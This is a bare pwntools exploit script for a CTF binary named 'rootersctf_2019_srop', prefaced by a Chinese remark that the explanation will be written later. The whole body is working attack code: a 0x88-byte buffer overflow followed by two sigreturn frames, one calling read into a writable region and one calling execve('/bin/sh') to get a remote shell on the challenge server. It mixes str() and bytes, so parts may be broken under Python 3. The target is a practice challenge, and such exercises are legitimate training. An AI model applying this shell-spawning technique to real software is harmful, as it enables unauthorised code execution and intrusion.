脚本先放着,思路空了再写
#coding:utf8
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
io = process("./rootersctf_2019_srop")
io = remote("node4.buuoj.cn",27383)
elf = ELF("./rootersctf_2019_srop")
frame = SigreturnFrame()
pop_rax_syscall_addr =0x0000000000401032 #pop rax
syscall_addr = 0x401033
data_addr=0x0000000000402000
offest = 0x88
frame.rax = 0
frame.rdi = 0
frame.rdx = 0x400
frame.rsi = data_addr
frame.rip = syscall_addr
frame.rbp = data_addr+0x20
payload = b'a'*offest + p64(pop_rax_syscall_addr)+p64(0xf)+str(frame)
io.sendlineafter("Hey, can i get some feedback for the CTF?",payload)
frame = SigreturnFrame()
frame.rax=59
frame.rip = syscall_addr
frame.rdi = data_addr
frame.rsi =0
frame.rdx =0
payload = "/bin/sh\x00"+b'a'*0x20+p64(pop_rax_syscall_addr)+p64(0xf)+str(frame)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()